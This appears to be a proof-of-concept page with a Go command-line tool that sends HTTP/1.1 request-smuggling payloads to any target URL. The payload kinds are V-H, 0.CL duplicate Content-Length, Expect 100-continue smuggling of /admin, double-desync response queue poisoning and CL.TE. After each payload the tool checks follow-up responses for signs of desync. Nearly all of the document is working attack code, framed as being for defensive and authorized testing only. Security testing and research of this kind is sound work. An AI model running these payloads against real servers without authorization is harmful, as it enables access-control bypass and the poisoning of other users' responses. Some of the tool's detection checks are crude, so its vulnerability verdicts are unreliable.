4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / http1-desync-test.go GO
// HTTP/1 Desync Vulnerability Testing Tool
// 
// Based on research by James Kettle (@albinowax) - PortSwigger
// Original research: "HTTP/1 Must Die" - https://portswigger.net/research/http1-must-die
//
// This tool implements the attack patterns and detection methods discovered by
// James Kettle during his groundbreaking research into HTTP/1.1 request smuggling
// vulnerabilities. The techniques implemented here are for defensive security
// testing purposes only.
//
// Research Credits:
// - James Kettle: Original vulnerability research and attack methodology
// - PortSwigger: Research publication and tooling support
//
// For educational and authorized security testing only.

package main

import (
	"bufio"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"net"
	"net/url"
	"strings"
	"time"

	"github.com/fatih/color"
)

type DesyncTest struct {
	Target     string
	Timeout    time.Duration
	Verbose    bool
	TestType   string
	Connection net.Conn
	Reader     *bufio.Reader
	IsTLS      bool
}

func NewDesyncTest(target string, timeout time.Duration, verbose bool, testType string) (*DesyncTest, error) {
	parsedURL, err := url.Parse(target)
	if err != nil {
		return nil, fmt.Errorf("invalid URL: %v", err)
	}

	isTLS := parsedURL.Scheme == "https"
	host := parsedURL.Host
	if !strings.Contains(host, ":") {
		if isTLS {
			host += ":443"
		} else {
			host += ":80"
		}
	}

	var conn net.Conn
	if isTLS {
		tlsConfig := &tls.Config{
			InsecureSkipVerify: true,
			ServerName:         parsedURL.Hostname(),
		}
		conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", host, tlsConfig)
	} else {
		conn, err = net.DialTimeout("tcp", host, timeout)
	}

	if err != nil {
		return nil, fmt.Errorf("connection failed: %v", err)
	}

	return &DesyncTest{
		Target:     target,
		Timeout:    timeout,
		Verbose:    verbose,
		TestType:   testType,
		Connection: conn,
		Reader:     bufio.NewReader(conn),
		IsTLS:      isTLS,
	}, nil
}

func (dt *DesyncTest) Close() {
	if dt.Connection != nil {
		dt.Connection.Close()
	}
}

func (dt *DesyncTest) sendRawRequest(request string) error {
	if dt.Verbose {
		color.Yellow("[*] Sending request:\n%s", request)
	}
	
	dt.Connection.SetWriteDeadline(time.Now().Add(dt.Timeout))
	_, err := dt.Connection.Write([]byte(request))
	return err
}

func (dt *DesyncTest) readResponse() (string, error) {
	dt.Connection.SetReadDeadline(time.Now().Add(dt.Timeout))
	
	response := strings.Builder{}
	buffer := make([]byte, 4096)
	
	for {
		n, err := dt.Reader.Read(buffer)
		if n > 0 {
			response.Write(buffer[:n])
		}
		
		if err == io.EOF {
			break
		}
		if err != nil {
			if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
				break
			}
			if response.Len() > 0 {
				break
			}
			return "", err
		}
		
		if strings.Contains(response.String(), "\r\n\r\n") {
			contentLength := extractContentLength(response.String())
			if contentLength >= 0 {
				headerEnd := strings.Index(response.String(), "\r\n\r\n") + 4
				bodyLength := response.Len() - headerEnd
				if bodyLength >= contentLength {
					break
				}
			}
		}
	}
	
	result := response.String()
	if dt.Verbose && result != "" {
		color.Green("[*] Response received:\n%s", result)
	}
	
	return result, nil
}

func extractContentLength(response string) int {
	lines := strings.Split(response, "\r\n")
	for _, line := range lines {
		if strings.HasPrefix(strings.ToLower(line), "content-length:") {
			parts := strings.Split(line, ":")
			if len(parts) >= 2 {
				length := strings.TrimSpace(parts[1])
				var cl int
				fmt.Sscanf(length, "%d", &cl)
				return cl
			}
		}
	}
	return -1
}

// testVHDesync implements the V-H (Visible-Hidden) desync attack pattern
// discovered by James Kettle. This technique exploits parser discrepancies where
// the front-end proxy sees one request boundary while the back-end sees another.
//
// Research source: James Kettle's "HTTP/1 Must Die" - demonstrated against
// major CDN providers including Cloudflare and others.
func (dt *DesyncTest) testVHDesync() error {
	parsedURL, _ := url.Parse(dt.Target)
	host := parsedURL.Host
	
	color.Cyan("[+] Testing V-H (Visible-Hidden) Desync Attack")
	color.Yellow("    Pattern: James Kettle's visible-hidden parser discrepancy")
	
	payload := fmt.Sprintf(
		"GET /style.css HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Foo: bar\r\n"+
		"Content-Length: 23\r\n"+
		"\r\n"+
		"GET /404 HTTP/1.1\r\nX: y",
		host,
	)
	
	if err := dt.sendRawRequest(payload); err != nil {
		return fmt.Errorf("failed to send V-H payload: %v", err)
	}
	
	response1, err := dt.readResponse()
	if err != nil {
		return fmt.Errorf("failed to read first response: %v", err)
	}
	
	normalRequest := fmt.Sprintf(
		"GET / HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Connection: keep-alive\r\n"+
		"\r\n",
		host,
	)
	
	if err := dt.sendRawRequest(normalRequest); err != nil {
		return fmt.Errorf("failed to send normal request: %v", err)
	}
	
	response2, err := dt.readResponse()
	if err != nil {
		return fmt.Errorf("failed to read second response: %v", err)
	}
	
	if strings.Contains(response2, "404") || strings.Contains(response2, "Not Found") {
		color.Red("[!] Potential V-H Desync vulnerability detected!")
		color.Yellow("    The second request received a 404 response, indicating request smuggling")
		return nil
	}
	
	if response1 != "" && response2 != "" {
		color.Green("[✓] No V-H desync detected")
	}
	
	return nil
}

// test0CLDesync implements the 0.CL (Zero Content-Length) desync attack
// based on James Kettle's research findings against IIS and T-Mobile infrastructure.
// This attack exploits different interpretations of Content-Length: 0 headers.
//
// Research source: Successfully demonstrated in James Kettle's bug bounty research
// earning significant payouts from major infrastructure providers.
func (dt *DesyncTest) test0CLDesync() error {
	parsedURL, _ := url.Parse(dt.Target)
	host := parsedURL.Host
	
	color.Cyan("[+] Testing 0.CL (Zero Content-Length) Desync Attack")
	color.Yellow("    Pattern: James Kettle's IIS/T-Mobile Content-Length: 0 exploit")
	
	payload := fmt.Sprintf(
		"GET /test HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Content-Length: 0\r\n"+
		"Content-Length: 7\r\n"+
		"\r\n"+
		"GET / HTTP/1.1\r\nHost: %s\r\n\r\n",
		host, host,
	)
	
	if err := dt.sendRawRequest(payload); err != nil {
		return fmt.Errorf("failed to send 0.CL payload: %v", err)
	}
	
	response1, err := dt.readResponse()
	if err != nil {
		return fmt.Errorf("failed to read first response: %v", err)
	}
	
	normalRequest := fmt.Sprintf(
		"GET /index HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Connection: keep-alive\r\n"+
		"\r\n",
		host,
	)
	
	if err := dt.sendRawRequest(normalRequest); err != nil {
		return fmt.Errorf("failed to send normal request: %v", err)
	}
	
	response2, err := dt.readResponse()
	if err != nil {
		return fmt.Errorf("failed to read second response: %v", err)
	}
	
	if !strings.Contains(response2, "/index") && strings.Contains(response2, "200") {
		color.Red("[!] Potential 0.CL Desync vulnerability detected!")
		color.Yellow("    The second request received an unexpected response")
		return nil
	}
	
	if response1 != "" && response2 != "" {
		color.Green("[✓] No 0.CL desync detected")
	}
	
	return nil
}

// testExpectDesync implements Expect: 100-continue desync attacks discovered
// by James Kettle in his research against T-Mobile and LastPass systems.
// This technique exploits different handling of the continuation mechanism.
//
// Research source: James Kettle's T-Mobile and LastPass vulnerability research
// demonstrating authentication bypass through Expect header manipulation.
func (dt *DesyncTest) testExpectDesync() error {
	parsedURL, _ := url.Parse(dt.Target)
	host := parsedURL.Host
	
	color.Cyan("[+] Testing Expect Header-based Desync Attack")
	color.Yellow("    Pattern: James Kettle's T-Mobile/LastPass Expect: 100-continue exploit")
	
	smuggledPath := "/admin"
	smuggledRequest := fmt.Sprintf("GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", smuggledPath, host)
	contentLength := len(smuggledRequest)
	
	payload := fmt.Sprintf(
		"POST /logout HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Expect: 100-continue\r\n"+
		"Content-Length: %d\r\n"+
		"\r\n"+
		"%s",
		host, contentLength, smuggledRequest,
	)
	
	if err := dt.sendRawRequest(payload); err != nil {
		return fmt.Errorf("failed to send Expect payload: %v", err)
	}
	
	response1, err := dt.readResponse()
	if err != nil && !strings.Contains(err.Error(), "timeout") {
		return fmt.Errorf("failed to read first response: %v", err)
	}
	
	if strings.Contains(response1, "100 Continue") {
		color.Yellow("[*] Server supports Expect: 100-continue")
	}
	
	normalRequest := fmt.Sprintf(
		"GET / HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Connection: keep-alive\r\n"+
		"\r\n",
		host,
	)
	
	if err := dt.sendRawRequest(normalRequest); err != nil {
		return fmt.Errorf("failed to send normal request: %v", err)
	}
	
	response2, err := dt.readResponse()
	if err != nil && !strings.Contains(err.Error(), "timeout") {
		return fmt.Errorf("failed to read second response: %v", err)
	}
	
	if strings.Contains(response2, smuggledPath) || strings.Contains(response2, "admin") || 
	   strings.Contains(response2, "403") || strings.Contains(response2, "401") {
		color.Red("[!] Potential Expect-based Desync vulnerability detected!")
		color.Yellow("    The second request shows signs of request smuggling")
		return nil
	}
	
	color.Green("[✓] No Expect-based desync detected")
	
	return nil
}

// testDoubleDesync implements the sophisticated double-desync attack for
// Response Queue Poisoning as discovered by James Kettle. This represents
// one of the most advanced techniques in his research.
//
// Research source: James Kettle's advanced desync methodology enabling
// complete site takeover by poisoning response queues.
func (dt *DesyncTest) testDoubleDesync() error {
	parsedURL, _ := url.Parse(dt.Target)
	host := parsedURL.Host
	
	color.Cyan("[+] Testing Double-Desync Attack (Response Queue Poisoning)")
	color.Yellow("    Pattern: James Kettle's advanced response queue poisoning technique")
	
	payload1 := fmt.Sprintf(
		"POST /test HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Content-Length: 92\r\n"+
		"\r\n"+
		"GET /poison HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Content-Length: 180\r\n"+
		"Foo: GET /victim HTTP/1.1\r\n"+
		"\r\n",
		host, host,
	)
	
	if err := dt.sendRawRequest(payload1); err != nil {
		return fmt.Errorf("failed to send first desync payload: %v", err)
	}
	
	response1, _ := dt.readResponse()
	
	time.Sleep(100 * time.Millisecond)
	
	payload2 := fmt.Sprintf(
		"GET /test2 HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Connection: keep-alive\r\n"+
		"\r\n",
		host,
	)
	
	if err := dt.sendRawRequest(payload2); err != nil {
		return fmt.Errorf("failed to send second payload: %v", err)
	}
	
	response2, _ := dt.readResponse()
	
	normalRequest := fmt.Sprintf(
		"GET /normal HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Connection: close\r\n"+
		"\r\n",
		host,
	)
	
	if err := dt.sendRawRequest(normalRequest); err != nil {
		return fmt.Errorf("failed to send normal request: %v", err)
	}
	
	response3, _ := dt.readResponse()
	
	if (response2 != "" && strings.Contains(response2, "poison")) ||
	   (response3 != "" && !strings.Contains(response3, "/normal")) {
		color.Red("[!] Potential Double-Desync vulnerability detected!")
		color.Yellow("    Response queue appears to be poisoned")
		return nil
	}
	
	if response1 != "" || response2 != "" || response3 != "" {
		color.Green("[✓] No Double-Desync detected")
	}
	
	return nil
}

// testCLTEDesync implements the fundamental CL.TE (Content-Length vs Transfer-Encoding)
// conflict attack that forms the core of James Kettle's HTTP/1.1 research.
// This represents the fundamental flaw in HTTP/1.1 specification.
//
// Research source: Core finding of James Kettle's "HTTP/1 Must Die" research
// demonstrating the fundamental ambiguity in HTTP/1.1 request boundaries.
func (dt *DesyncTest) testCLTEDesync() error {
	parsedURL, _ := url.Parse(dt.Target)
	host := parsedURL.Host
	
	color.Cyan("[+] Testing CL.TE (Content-Length vs Transfer-Encoding) Desync Attack")
	color.Yellow("    Pattern: James Kettle's foundational HTTP/1.1 specification flaw")
	
	payload := fmt.Sprintf(
		"POST / HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Content-Length: 13\r\n"+
		"Transfer-Encoding: chunked\r\n"+
		"\r\n"+
		"0\r\n"+
		"\r\n"+
		"GET /admin HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"\r\n",
		host, host,
	)
	
	if err := dt.sendRawRequest(payload); err != nil {
		return fmt.Errorf("failed to send CL.TE payload: %v", err)
	}
	
	response1, err := dt.readResponse()
	if err != nil && !strings.Contains(err.Error(), "timeout") {
		return fmt.Errorf("failed to read first response: %v", err)
	}
	
	normalRequest := fmt.Sprintf(
		"GET / HTTP/1.1\r\n"+
		"Host: %s\r\n"+
		"Connection: keep-alive\r\n"+
		"\r\n",
		host,
	)
	
	if err := dt.sendRawRequest(normalRequest); err != nil {
		return fmt.Errorf("failed to send normal request: %v", err)
	}
	
	response2, err := dt.readResponse()
	if err != nil && !strings.Contains(err.Error(), "timeout") {
		return fmt.Errorf("failed to read second response: %v", err)
	}
	
	if strings.Contains(response2, "admin") || strings.Contains(response2, "403") || 
	   strings.Contains(response2, "401") || strings.Contains(response2, "400") {
		color.Red("[!] Potential CL.TE Desync vulnerability detected!")
		color.Yellow("    The second request shows signs of request smuggling")
		return nil
	}
	
	if response1 != "" && response2 != "" {
		color.Green("[✓] No CL.TE desync detected")
	}
	
	return nil
}

func main() {
	var (
		target   = flag.String("target", "", "Target URL (e.g., https://example.com)")
		timeout  = flag.Duration("timeout", 5*time.Second, "Request timeout")
		verbose  = flag.Bool("verbose", false, "Enable verbose output")
		testType = flag.String("test", "all", "Test type: all, vh, 0cl, expect, double, clte")
	)
	
	flag.Parse()
	
	if *target == "" {
		color.Red("Error: Target URL is required")
		flag.Usage()
		return
	}
	
	if !strings.HasPrefix(*target, "http://") && !strings.HasPrefix(*target, "https://") {
		*target = "https://" + *target
	}
	
	color.Yellow("╔══════════════════════════════════════════════════════╗")
	color.Yellow("║        HTTP/1 Desync Vulnerability Tester           ║")
	color.Yellow("║    Based on James Kettle's Research (@albinowax)    ║")
	color.Yellow("║         For Defensive Security Testing Only         ║")
	color.Yellow("╚══════════════════════════════════════════════════════╝")
	fmt.Println()
	
	color.Cyan("[*] Target: %s", *target)
	color.Cyan("[*] Test Type: %s", *testType)
	fmt.Println()
	
	tests := map[string]func(*DesyncTest) error{
		"vh":     (*DesyncTest).testVHDesync,
		"0cl":    (*DesyncTest).test0CLDesync,
		"expect": (*DesyncTest).testExpectDesync,
		"double": (*DesyncTest).testDoubleDesync,
		"clte":   (*DesyncTest).testCLTEDesync,
	}
	
	if *testType == "all" {
		for testName, testFunc := range tests {
			dt, err := NewDesyncTest(*target, *timeout, *verbose, testName)
			if err != nil {
				color.Red("[!] Failed to initialize test: %v", err)
				continue
			}
			
			if err := testFunc(dt); err != nil {
				color.Red("[!] Test failed: %v", err)
			}
			
			dt.Close()
			fmt.Println()
			time.Sleep(500 * time.Millisecond)
		}
	} else {
		testFunc, exists := tests[*testType]
		if !exists {
			color.Red("[!] Unknown test type: %s", *testType)
			return
		}
		
		dt, err := NewDesyncTest(*target, *timeout, *verbose, *testType)
		if err != nil {
			color.Red("[!] Failed to initialize: %v", err)
			return
		}
		defer dt.Close()
		
		if err := testFunc(dt); err != nil {
			color.Red("[!] Test failed: %v", err)
		}
	}
	
	fmt.Println()
	color.Yellow("[*] Testing complete")
}